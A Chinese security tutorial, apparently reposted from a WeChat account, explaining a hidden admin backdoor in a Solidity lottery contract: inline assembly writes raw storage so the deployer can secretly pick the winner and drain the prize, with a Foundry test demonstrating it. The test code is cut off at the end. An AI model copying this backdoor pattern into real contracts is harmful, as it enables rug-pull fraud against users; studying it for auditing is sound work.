描述:在这个合约中,一个表面上公平的“LotteryGame”合约被巧妙地设计成允许合约部署者/管理员拥有隐藏特权。这是通过使用汇编级别的访问存储变量实现的,其中一个裁判函数被设计为提供一个管理后门。pickWinner
函数看起来是随机选择一个赢家,但实际上,它允许管理员设置赢家。这绕过了通常的访问控制,可以被未经授权的用户用来耗尽奖池,作为一种拔地式骗局。
攻击者可以通过编写内联汇编将智能合约作为后门进行操作。任何敏感参数都可以随时更改。
场景:彩票游戏:任何人都可以调用pickWinner
来获取奖金,如果你幸运的话。参考JST合约后门,许多拔地式风格的合约有类似的模式。看起来合约中没有设置赢家的函数,管理员如何能进行拔地?
LotteryGame 合约:
contract LotteryGame {
uint256 public prize = 1000;
address public winner;
address public admin = msg.sender;
modifier safeCheck() {
if (msg.sender == referee()) {
_;
} else {
getkWinner();
}
}
function referee() internal view returns (address user) {
assembly {
// 加载存储槽2中的管理员值
user := sload(2)
}
}
function pickWinner(address random) public safeCheck {
assembly {
// 管理员后门,可以设置赢家地址
sstore(1, random)
}
}
function getkWinner() public view returns (address) {
console.log("当前赢家:", winner);
return winner;
}
}
如何测试:
forge test --contracts src/test/Backdoor-assembly.sol -vvvv
// 定义一个名为testBackdoorCall的公共函数
function testBackdoorCall() public {
// 声明两个地址,alice和bob,并将它们的值设置为从vm.addr()获取的ID为1和2的地址。
address alice = vm.addr(1);
address bob = vm.addr(2);
// 部署一个新的LotteryGame合约实例,并将引用存储在LotteryGameContract变量中。
LotteryGameContract = new LotteryGame();
// 打印一条消息,表示Alice将调用pickWinner函数,但她实际上不会成为赢家。
console.log("Alice调用pickWinner,当然她不会成为赢家");
// 调用vm的prank函数,传递Alice的地址作为参数,暗示可能会发生一些操作。
vm.prank(alice);
// 调用LotteryGameContract的pickWinner函数,传递Alice的地址作为参数。
LotteryGameContract.pickWinner(address(alice));
// 在调用pickWinner函数后,打印彩票的当前奖金。
console.log("奖金:", LotteryGameContract.prize());
// 打印一条消息,表示管理员将设置赢家以耗尽奖金。
console.log("现在,管理员设置赢家以耗尽奖金。");
// 再次调用LotteryGameContract的pickWinner函数,但这次传递Bob的地址作为参数。
LotteryGameContract.pickWinner(address(bob));
// 打印被管理员操纵的赢家地址。
console.log("管理员操纵的赢家:", LotteryGameContract.winner());
红框:恶意的所有者可以赢得彩票。
原文始发于微信公众号(3072):智能合约漏洞入门(10)合约中的隐藏后门
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论